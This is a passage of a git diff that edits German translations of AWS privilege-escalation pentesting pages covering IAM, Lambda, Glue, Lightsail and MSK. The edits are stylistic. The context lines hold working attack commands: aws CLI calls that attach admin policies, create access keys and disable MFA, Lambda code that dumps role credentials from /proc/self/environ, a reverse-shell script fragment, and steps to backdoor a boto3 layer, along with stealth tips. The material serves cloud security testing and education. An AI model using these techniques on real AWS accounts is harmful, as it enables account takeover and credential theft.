**aktualisieren**, damit das **Opfer darauf zugreifen kann** (Bitte beachten Sie, dass dies den Bucket für **JEDEN** **öffnet**): ```json { "Version": "2008-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index 0113cf51f..65d562f55 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -13,7 +13,7 @@ Mehr **Info über EMR** in: ### `iam:PassRole`, `elasticmapreduce:RunJobFlow` Ein Angreifer mit diesen Berechtigungen kann **ein neues EMR-Cluster erstellen, indem er EC2-Rollen anfügt** und versuchen, dessen Anmeldeinformationen zu stehlen.\ -Beachten Sie, dass Sie dazu **einen SSH-Privatschlüssel, der im Konto importiert wurde, kennen** oder einen importieren müssen und in der Lage sein sollten, **Port 22 im Master-Knoten zu öffnen** (Sie könnten dies mit den Attributen `EmrManagedMasterSecurityGroup` und/oder `ServiceAccessSecurityGroup` innerhalb von `--ec2-attributes` tun). +Beachten Sie, dass Sie dazu **einige SSH-Privatschlüssel, die im Konto importiert wurden, kennen oder einen importieren müssen** und in der Lage sein müssen, **Port 22 im Master-Knoten zu öffnen** (Sie könnten dies mit den Attributen `EmrManagedMasterSecurityGroup` und/oder `ServiceAccessSecurityGroup` innerhalb von `--ec2-attributes` tun). ```bash # Import EC2 ssh key (you will need extra permissions for this) ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md index 2a7347391..ad45626cb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md @@ -4,12 +4,12 @@ ### `gamelift:RequestUploadCredentials` -Mit dieser Berechtigung kann ein Angreifer ein **neues Set von Anmeldeinformationen abrufen, das beim Hochladen** eines neuen Satzes von Spiel-Build-Dateien zu Amazon GameLift's Amazon S3 verwendet wird. Es gibt **S3-Hochladeanmeldeinformationen** zurück. +Mit dieser Berechtigung kann ein Angreifer ein **neues Set von Anmeldeinformationen abrufen, das beim Hochladen** eines neuen Satzes von Spiel-Build-Dateien zu Amazon GameLift's Amazon S3 verwendet wird. Es wird **S3-Hochladeanmeldeinformationen** zurückgegeben. ```bash aws gamelift request-upload-credentials \ --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 ``` -## References +## Referenzen - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index 951db2cec..d8b68bbe5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -6,7 +6,7 @@ ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Benutzer mit diesen Berechtigungen können **einen neuen AWS Glue-Entwicklungspunkt einrichten**, **indem sie eine vorhandene Dienstrolle zuweisen, die von Glue mit spezifischen Berechtigungen übernommen werden kann**. +Benutzer mit diesen Berechtigungen können **einen neuen AWS Glue-Entwicklungsendpunkt einrichten**, **einen vorhandenen Dienstrolle, die von Glue übernommen werden kann**, mit spezifischen Berechtigungen diesem Endpunkt zuweisen. Nach der Einrichtung kann der **Angreifer per SSH auf die Instanz des Endpunkts zugreifen** und die IAM-Anmeldeinformationen der zugewiesenen Rolle stehlen: ```bash @@ -24,11 +24,11 @@ ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` Für Stealth-Zwecke wird empfohlen, die IAM-Anmeldeinformationen von innerhalb der Glue-virtuellen Maschine zu verwenden. -**Potenzielle Auswirkungen:** Privilegieneskalation auf die angegebene Glue-Dienstrolle. +**Potenzielle Auswirkungen:** Privesc auf die angegebene Glue-Service-Rolle. ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Benutzer mit dieser Berechtigung können **den SSH-Schlüssel eines bestehenden Glue-Entwicklung** Endpunkts ändern, **was den SSH-Zugriff darauf ermöglicht**. Dies erlaubt dem Angreifer, Befehle mit den Rechten der angehängten Rolle des Endpunkts auszuführen: +Benutzer mit dieser Berechtigung können **den SSH-Schlüssel eines bestehenden Glue-Entwicklung** Endpunkts ändern, **was den SSH-Zugriff darauf ermöglicht**. Dies erlaubt dem Angreifer, Befehle mit den Berechtigungen der angehängten Rolle des Endpunkts auszuführen: ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ @@ -45,7 +45,7 @@ ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -Benutzer mit **`iam:PassRole`** in Kombination mit entweder **`glue:CreateJob` oder `glue:UpdateJob`**, und entweder **`glue:StartJobRun` oder `glue:CreateTrigger`** können **einen AWS Glue-Job erstellen oder aktualisieren**, indem sie ein beliebiges **Glue-Service-Konto** anhängen und die Ausführung des Jobs initiieren. Die Fähigkeiten des Jobs umfassen das Ausführen beliebigen Python-Codes, der ausgenutzt werden kann, um eine Reverse-Shell einzurichten. Diese Reverse-Shell kann dann verwendet werden, um die **IAM-Anmeldeinformationen** der an den Glue-Job angehängten Rolle zu exfiltrieren, was zu potenziellem unbefugtem Zugriff oder Aktionen basierend auf den Berechtigungen dieser Rolle führen kann: +Benutzer mit **`iam:PassRole`** in Kombination mit entweder **`glue:CreateJob` oder `glue:UpdateJob`**, und entweder **`glue:StartJobRun` oder `glue:CreateTrigger`** können **ein AWS Glue-Job erstellen oder aktualisieren**, indem sie ein beliebiges **Glue-Service-Konto** anhängen und die Ausführung des Jobs initiieren. Die Fähigkeiten des Jobs umfassen das Ausführen beliebigen Python-Codes, der ausgenutzt werden kann, um eine Reverse-Shell einzurichten. Diese Reverse-Shell kann dann verwendet werden, um die **IAM-Anmeldeinformationen** der Rolle, die an den Glue-Job angehängt ist, zu exfiltrieren, was zu potenziellem unbefugtem Zugriff oder Aktionen basierend auf den Berechtigungen dieser Rolle führen kann: ```bash # Content of the python script saved in s3: #import socket,subprocess,os diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index a8503ba80..1a0bfbeff 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -19,11 +19,11 @@ Ermöglicht das Erstellen einer neuen IAM-Policy-Version, wobei die Notwendigkei aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Auswirkung:** Eskaliert direkt die Berechtigungen, indem jede Aktion auf jede Ressource erlaubt wird. +**Auswirkungen:** Eskaliert direkt die Berechtigungen, indem jede Aktion auf jede Ressource erlaubt wird. ### **`iam:SetDefaultPolicyVersion`** -Erlaubt das Ändern der Standardversion einer IAM-Richtlinie auf eine andere vorhandene Version, was potenziell die Berechtigungen eskalieren kann, wenn die neue Version mehr Berechtigungen hat. +Erlaubt das Ändern der Standardversion einer IAM-Richtlinie in eine andere vorhandene Version, was potenziell die Berechtigungen eskalieren kann, wenn die neue Version mehr Berechtigungen hat. **Bash-Befehl:** ```bash @@ -39,7 +39,7 @@ Ermöglicht das Erstellen einer Zugriffs-Schlüssel-ID und eines geheimen Zugrif ```bash aws iam create-access-key --user-name ``` -**Auswirkung:** Direkte Privilegieneskalation durch Übernahme der erweiterten Berechtigungen eines anderen Benutzers. +**Auswirkungen:** Direkte Privilegieneskalation durch Übernahme der erweiterten Berechtigungen eines anderen Benutzers. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** @@ -79,17 +79,17 @@ aws iam create-service-specific-credential --user-name --service-name ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Auswirkung:** Direkte Privilegieneskalation innerhalb der Dienstberechtigungen des Benutzers. +**Auswirkungen:** Direkte Privilegieneskalation innerhalb der Dienstberechtigungen des Benutzers. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Erlaubt das Anhängen von Richtlinien an Benutzer oder Gruppen, wodurch Privilegien direkt eskaliert werden, indem die Berechtigungen der angehängten Richtlinie geerbt werden. +Erlaubt das Anhängen von Richtlinien an Benutzer oder Gruppen, wodurch Privilegien direkt durch das Erben der Berechtigungen der angehängten Richtlinie eskaliert werden. **Ausnutzung für Benutzer:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**Ausnutzung für Gruppe:** +**Exploits für Gruppen:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` @@ -103,7 +103,7 @@ Erlaubt das Anhängen oder Setzen von Richtlinien an Rollen, Benutzer oder Grupp ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` -**Exploits für Inline-Richtlinien:** +**Ausnutzung von Inline-Richtlinien:** ```bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" @@ -127,11 +127,11 @@ Sie können eine Richtlinie wie folgt verwenden: ] } ``` -**Auswirkungen:** Direkte Privilegieneskalation durch das Hinzufügen von Berechtigungen über Richtlinien. +**Auswirkung:** Direkte Privilegieneskalation durch das Hinzufügen von Berechtigungen über Richtlinien. ### **`iam:AddUserToGroup`** -Ermöglicht es, sich selbst zu einer IAM-Gruppe hinzuzufügen und Privilegien durch das Erben der Berechtigungen der Gruppe zu eskalieren. +Ermöglicht das Hinzufügen von sich selbst zu einer IAM-Gruppe, wodurch Privilegien durch das Erben der Berechtigungen der Gruppe eskaliert werden. **Ausnutzen:** ```bash @@ -169,11 +169,11 @@ Wo die Richtlinie wie folgt aussieht, die dem Benutzer die Berechtigung gibt, di Erlaubt das Hochladen eines SSH-Öffentlichen Schlüssels zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu einer potenziellen indirekten Privilegieneskalation führen kann. -**Ausnutzen des SSH-Schlüssel-Uploads:** +**Ausnutzung für das Hochladen des SSH-Schlüssels:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**Exploit für MFA-Deaktivierung:** +**Exploits für die Deaktivierung von MFA:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` @@ -181,7 +181,7 @@ aws iam deactivate-mfa-device --user-name --serial-number --serial-number ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Mit diesen Berechtigungen können Sie **die XML-Metadaten der SAML-Verbindung ändern**. Dann könnten Sie die **SAML-Föderation** missbrauchen, um sich mit **irgendeiner Rolle, die ihr vertraut**, **einzuloggen**. +Mit diesen Berechtigungen können Sie **die XML-Metadaten der SAML-Verbindung ändern**. Dann könnten Sie die **SAML-Föderation** missbrauchen, um sich mit jeder **Rolle, die ihr vertraut**, **einzuloggen**. -Beachten Sie, dass legitime Benutzer sich dabei **nicht einloggen können**. Sie könnten jedoch die XML erhalten, sodass Sie Ihre eigene einfügen, sich einloggen und die vorherige Konfiguration zurücksetzen können. +Beachten Sie, dass legitime Benutzer sich dabei **nicht einloggen können**. Sie könnten jedoch die XML erhalten, sodass Sie Ihre eigene einfügen, sich einloggen und die vorherige Konfiguration wiederherstellen können. ```bash # List SAMLs aws iam list-saml-providers diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index b2aa0c9a6..cfbc04358 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -70,7 +70,7 @@ aws kms generate-data-key \ –-key-spec AES_256 \ --grant-tokens $token ``` -Beachten Sie, dass es möglich ist, die Berechtigungen von Schlüsseln mit aufzulisten: +Beachten Sie, dass es möglich ist, die Berechtigungen von Schlüsseln mit folgendem Befehl aufzulisten: ```bash aws kms list-grants --key-id ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index 7903dc27e..4e55f0a09 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` -Es ist auch möglich, die Anmeldeinformationen der Rolle der Lambda zu leaken, ohne eine externe Verbindung zu benötigen. Dies wäre nützlich für **Netzwerkisolierte Lambdas**, die für interne Aufgaben verwendet werden. Wenn unbekannte Sicherheitsgruppen Ihre Reverse-Shells filtern, ermöglicht Ihnen dieses Stück Code, die Anmeldeinformationen direkt als Ausgabe der Lambda zu leaken. +Es ist auch möglich, die Anmeldeinformationen der Rolle der Lambda-Funktion zu leaken, ohne eine externe Verbindung zu benötigen. Dies wäre nützlich für **netzwerkisolierte Lambdas**, die für interne Aufgaben verwendet werden. Wenn unbekannte Sicherheitsgruppen Ihre Reverse-Shells filtern, ermöglicht Ihnen dieses Stück Code, die Anmeldeinformationen direkt als Ausgabe der Lambda-Funktion zu leaken. ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() @@ -75,11 +75,11 @@ cat output.txt **Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die beliebige Lambda-Dienstrolle, die angegeben ist. > [!CAUTION] -> Beachten Sie, dass selbst wenn es interessant aussieht, **`lambda:InvokeAsync`** **nicht** allein die **Ausführung von `aws lambda invoke-async`** ermöglicht, Sie benötigen auch `lambda:InvokeFunction`. +> Beachten Sie, dass selbst wenn es interessant aussieht, **`lambda:InvokeAsync`** **nicht** allein die **Ausführung von `aws lambda invoke-async`** erlaubt, Sie benötigen auch `lambda:InvokeFunction`. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` -Wie im vorherigen Szenario können Sie sich **die Berechtigung `lambda:InvokeFunction`** gewähren, wenn Sie die Berechtigung **`lambda:AddPermission`** haben. +Wie im vorherigen Szenario können Sie sich die Berechtigung **`lambda:InvokeFunction`** gewähren, wenn Sie die Berechtigung **`lambda:AddPermission`** haben. ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ @@ -99,7 +99,7 @@ aws lambda create-function --function-name my_function \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` -Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, **muss der Benutzer nur die Ereignisquellenzuordnung** für die Lambda-Funktion festlegen. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer **eine neue Tabelle** mit aktivierten Streams **erstellen**: +Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, muss der Benutzer nur **die Ereignisquellenzuordnung** für die Lambda-Funktion festlegen. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer **eine neue Tabelle** mit aktivierten Streaming erstellen: ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ @@ -107,13 +107,13 @@ aws dynamodb create-table --table-name my_table \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` -Jetzt ist es möglich, **die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden**, indem **eine Ereignisquellenzuordnung** erstellt wird: +Jetzt ist es möglich, **die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden**, indem **eine Ereignisquellenzuordnung erstellt wird**: ```bash aws lambda create-event-source-mapping --function-name my_function \ --event-source-arn \ --enabled --starting-position LATEST ``` -Mit der mit dem DynamoDB-Stream verknüpften Lambda-Funktion kann der Angreifer **indirekt die Lambda auslösen, indem er den DynamoDB-Stream aktiviert**. Dies kann erreicht werden, indem **ein Element** in die DynamoDB-Tabelle eingefügt wird: +Mit der mit dem DynamoDB-Stream verknüpften Lambda-Funktion kann der Angreifer **indirekt die Lambda auslösen, indem er den DynamoDB-Stream aktiviert**. Dies kann erreicht werden, indem man **ein Element** in die DynamoDB-Tabelle einfügt: ```bash aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} @@ -122,7 +122,7 @@ aws dynamodb put-item --table-name my_table \ ### `lambda:AddPermission` -Ein Angreifer mit dieser Berechtigung kann **sich selbst (oder anderen) beliebige Berechtigungen gewähren** (dies erzeugt ressourcenbasierte Richtlinien, um den Zugriff auf die Ressource zu gewähren): +Ein Angreifer mit dieser Berechtigung kann **sich selbst (oder anderen) beliebige Berechtigungen gewähren** (dies erzeugt ressourcenbasierte Richtlinien, um Zugriff auf die Ressource zu gewähren): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -130,7 +130,7 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` -**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zum Lambda-Dienstrolle, die verwendet wird, indem die Berechtigung zum Ändern des Codes und dessen Ausführung gewährt wird. +**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zum Lambda-Dienstrolle durch Gewährung der Berechtigung zur Modifikation des Codes und dessen Ausführung. ### `lambda:AddLayerVersionPermission` @@ -144,7 +144,7 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen ### `lambda:UpdateFunctionCode` Benutzer, die die Berechtigung **`lambda:UpdateFunctionCode`** besitzen, haben die Möglichkeit, **den Code einer bestehenden Lambda-Funktion, die mit einer IAM-Rolle verknüpft ist, zu ändern.**\ -Der Angreifer kann **den Code der Lambda ändern, um die IAM-Anmeldeinformationen zu exfiltrieren.** +Der Angreifer kann **den Code der Lambda-Funktion ändern, um die IAM-Anmeldeinformationen zu exfiltrieren**. Obwohl der Angreifer möglicherweise nicht die direkte Fähigkeit hat, die Funktion aufzurufen, ist es wahrscheinlich, dass die Lambda-Funktion, wenn sie bereits vorhanden und betriebsbereit ist, durch bestehende Workflows oder Ereignisse ausgelöst wird, wodurch die Ausführung des modifizierten Codes indirekt erleichtert wird. ```bash @@ -157,7 +157,7 @@ aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` -**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die Lambda-Dienstrolle, die verwendet wird. +**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die verwendete Lambda-Dienstrolle. ### `lambda:UpdateFunctionConfiguration` @@ -185,7 +185,7 @@ import sys def lambda_handler(event, context): print(json.dumps(sys.path, indent=2)) ``` -Diese sind die Orte: +Dies sind die Orte: 1. /var/task 2. /opt/python/lib/python3.7/site-packages @@ -202,7 +202,7 @@ Zum Beispiel wird die Bibliothek boto3 von `/var/runtime/boto3` geladen (4. Posi #### Ausnutzung -Es ist möglich, die Berechtigung `lambda:UpdateFunctionConfiguration` zu missbrauchen, um **eine neue Schicht** zu einer Lambda-Funktion **hinzuzufügen**. Um beliebigen Code auszuführen, muss diese Schicht eine **Bibliothek enthalten, die die Lambda importieren wird.** Wenn Sie den Code der Lambda lesen können, könnten Sie dies leicht finden, beachten Sie auch, dass es möglich sein könnte, dass die Lambda **bereits eine Schicht verwendet** und Sie die **Schicht herunterladen** und **Ihren Code** dort hinzufügen könnten. +Es ist möglich, die Berechtigung `lambda:UpdateFunctionConfiguration` zu missbrauchen, um **eine neue Schicht** zu einer Lambda-Funktion hinzuzufügen. Um beliebigen Code auszuführen, muss diese Schicht eine **Bibliothek enthalten, die die Lambda importieren wird.** Wenn Sie den Code der Lambda lesen können, könnten Sie dies leicht finden, beachten Sie auch, dass es möglich sein könnte, dass die Lambda **bereits eine Schicht verwendet** und Sie die **Schicht herunterladen** und **Ihren Code** dort hinzufügen könnten. Zum Beispiel, nehmen wir an, dass die Lambda die Bibliothek boto3 verwendet, dies wird eine lokale Schicht mit der letzten Version der Bibliothek erstellen: ```bash @@ -211,7 +211,7 @@ pip3 install -t ./lambda_layer boto3 Sie können `./lambda_layer/boto3/__init__.py` öffnen und **die Hintertür im globalen Code hinzufügen** (eine Funktion zum Exfiltrieren von Anmeldeinformationen oder um beispielsweise eine Reverse-Shell zu erhalten). Dann zippen Sie das `./lambda_layer` Verzeichnis und **laden die neue Lambda-Schicht** in Ihr eigenes Konto hoch (oder in das des Opfers, aber möglicherweise haben Sie dafür keine Berechtigungen).\ -Beachten Sie, dass Sie einen Python-Ordner erstellen und die Bibliotheken dort ablegen müssen, um /opt/python/boto3 zu überschreiben. Außerdem muss die Schicht **mit der Python-Version** kompatibel sein, die von der Lambda verwendet wird, und wenn Sie sie in Ihr Konto hochladen, muss sie in der **gleichen Region** sein: +Beachten Sie, dass Sie einen Python-Ordner erstellen und die Bibliotheken dort ablegen müssen, um /opt/python/boto3 zu überschreiben. Außerdem muss die Schicht **kompatibel mit der Python-Version** sein, die von der Lambda verwendet wird, und wenn Sie sie in Ihr Konto hochladen, muss sie in der **gleichen Region** sein: ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` @@ -228,9 +228,9 @@ aws lambda update-function-configuration \ --layers arn:aws:lambda:::layer:boto3:1 \ --timeout 300 #5min for rev shells ``` -Der nächste Schritt wäre, entweder **die Funktion selbst aufzurufen**, wenn wir können, oder zu warten, bis sie **auf normale Weise aufgerufen wird** – was die sicherere Methode ist. +Der nächste Schritt wäre, entweder **die Funktion selbst aufzurufen**, wenn wir können, oder zu warten, bis sie auf normale Weise **aufgerufen wird** – was die sicherere Methode ist. -Eine **diskretere Möglichkeit, diese Schwachstelle auszunutzen**, findet sich in: +Eine **stealthier Methode, um diese Schwachstelle auszunutzen**, findet sich in: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -240,11 +240,11 @@ Eine **diskretere Möglichkeit, diese Schwachstelle auszunutzen**, findet sich i ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -Vielleicht sind Sie mit diesen Berechtigungen in der Lage, eine Funktion zu erstellen und sie über die URL auszuführen... aber ich konnte keinen Weg finden, dies zu testen, also lassen Sie es mich wissen, wenn Sie es tun! +Vielleicht kannst du mit diesen Berechtigungen eine Funktion erstellen und sie aufrufen, indem du die URL verwendest... aber ich konnte keinen Weg finden, um es zu testen, also lass es mich wissen, wenn du es tust! ### Lambda MitM -Einige Lambdas werden **sensible Informationen von den Benutzern in Parametern empfangen.** Wenn Sie RCE in einem von ihnen erhalten, können Sie die Informationen, die andere Benutzer an sie senden, exfiltrieren, überprüfen Sie es in: +Einige Lambdas werden **sensible Informationen von den Benutzern in Parametern empfangen.** Wenn du RCE in einem von ihnen erhältst, kannst du die Informationen, die andere Benutzer an sie senden, exfiltrieren, siehe dazu: {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index 0f6339c07..ab0bf727f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -11,7 +11,7 @@ Für weitere Informationen über Lightsail siehe: {{#endref}} > [!WARNING] -> Es ist wichtig zu beachten, dass Lightsail **keine IAM-Rollen des Benutzers** verwendet, sondern von einem AWS verwalteten Konto, sodass Sie diesen Dienst nicht für Privesc missbrauchen können. Allerdings könnten **sensible Daten** wie Code, API-Schlüssel und Datenbankinformationen in diesem Dienst gefunden werden. +> Es ist wichtig zu beachten, dass Lightsail **keine IAM-Rollen des Benutzers** verwendet, sondern die eines von AWS verwalteten Kontos, sodass Sie diesen Dienst nicht für Privilegieneskalation missbrauchen können. Allerdings könnten **sensible Daten** wie Code, API-Schlüssel und Datenbankinformationen in diesem Dienst gefunden werden. ### `lightsail:DownloadDefaultKeyPair` @@ -19,7 +19,7 @@ Diese Berechtigung ermöglicht es Ihnen, die SSH-Schlüssel zum Zugriff auf die ``` aws lightsail download-default-key-pair ``` -**Potenzielle Auswirkungen:** Sensible Informationen innerhalb der Instanzen finden. +**Potenzielle Auswirkungen:** Sensible Informationen in den Instanzen finden. ### `lightsail:GetInstanceAccessDetails` @@ -27,7 +27,7 @@ Diese Berechtigung ermöglicht es Ihnen, SSH-Schlüssel zu generieren, um auf di ```bash aws lightsail get-instance-access-details --instance-name ``` -**Potenzielle Auswirkungen:** Sensible Informationen innerhalb der Instanzen finden. +**Potenzielle Auswirkungen:** Sensible Informationen in den Instanzen finden. ### `lightsail:CreateBucketAccessKey` @@ -35,7 +35,7 @@ Diese Berechtigung ermöglicht es Ihnen, einen Schlüssel zum Zugriff auf den Bu ```bash aws lightsail create-bucket-access-key --bucket-name ``` -**Potenzielle Auswirkungen:** Finde sensible Informationen im Bucket. +**Potenzielle Auswirkungen:** Sensible Informationen im Bucket finden. ### `lightsail:GetRelationalDatabaseMasterUserPassword` @@ -115,7 +115,7 @@ aws update-container-service \ ### `lightsail:CreateDomainEntry` -Ein Angreifer mit dieser Berechtigung könnte einen Subdomain erstellen und ihn auf seine eigene IP-Adresse verweisen (Subdomain-Übernahme) oder einen SPF-Eintrag erstellen, der es ihm ermöglicht, E-Mails von der Domain zu fälschen, oder sogar die Hauptdomain auf seine eigene IP-Adresse setzen. +Ein Angreifer mit dieser Berechtigung könnte eine Subdomain erstellen und sie auf seine eigene IP-Adresse verweisen (Subdomain-Übernahme) oder einen SPF-Eintrag erstellen, der es ihm ermöglicht, E-Mails von der Domain zu fälschen, oder sogar die Hauptdomain auf seine eigene IP-Adresse setzen. ```bash aws lightsail create-domain-entry \ --domain-name example.com \ @@ -125,7 +125,7 @@ aws lightsail create-domain-entry \ ### `lightsail:UpdateDomainEntry` -Ein Angreifer mit dieser Berechtigung könnte ein Subdomain erstellen und es auf seine eigene IP-Adresse (Subdomain-Übernahme) verweisen, oder einen SPF-Eintrag erstellen, der es ihm ermöglicht, E-Mails von der Domain zu fälschen, oder sogar die Hauptdomain auf seine eigene IP-Adresse setzen. +Ein Angreifer mit dieser Berechtigung könnte ein Subdomain erstellen und es auf seine eigene IP-Adresse verweisen (Subdomain-Übernahme), oder einen SPF-Eintrag erstellen, der es ihm ermöglicht, E-Mails von der Domain zu fälschen, oder sogar die Hauptdomain auf seine eigene IP-Adresse setzen. ```bash aws lightsail update-domain-entry \ --domain-name example.com \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md index 7fb8e22c8..a5508308c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md @@ -4,13 +4,13 @@ ### `mediapackage:RotateChannelCredentials` -Ändert den Benutzernamen und das Passwort des ersten IngestEndpoint des Channels. (Diese API ist für RotateIngestEndpointCredentials veraltet) +Ändert den Benutzernamen und das Passwort des ersten IngestEndpoint des Channels. (Diese API ist veraltet für RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-channel-credentials --id ``` ### `mediapackage:RotateIngestEndpointCredentials` -Ändert den Benutzernamen und das Passwort des ersten IngestEndpoint des Channels. (Diese API ist veraltet für RotateIngestEndpointCredentials) +Ändert den Benutzernamen und das Passwort des ersten IngestEndpoint des Channels. (Diese API ist für RotateIngestEndpointCredentials veraltet) ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index 68e0ea3a5..cc250a7cb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -12,11 +12,11 @@ Für weitere Informationen über MSK (Kafka) siehe: ### `msk:ListClusters`, `msk:UpdateSecurity` -Mit diesen **Befugnissen** und **Zugriff auf das VPC, in dem sich die Kafka-Broker befinden**, könnten Sie die **Keine Authentifizierung** hinzufügen, um auf sie zuzugreifen. +Mit diesen **Befugnissen** und **Zugriff auf das VPC, in dem sich die Kafka-Broker befinden**, könntest du die **Keine Authentifizierung** hinzufügen, um auf sie zuzugreifen. ```bash aws msk --client-authentication --cluster-arn --current-version ``` -Du benötigst Zugriff auf die VPC, da **du keine None-Authentifizierung mit öffentlich exponiertem Kafka aktivieren kannst**. Wenn es öffentlich exponiert ist und **SASL/SCRAM**-Authentifizierung verwendet wird, könntest du **das Geheimnis 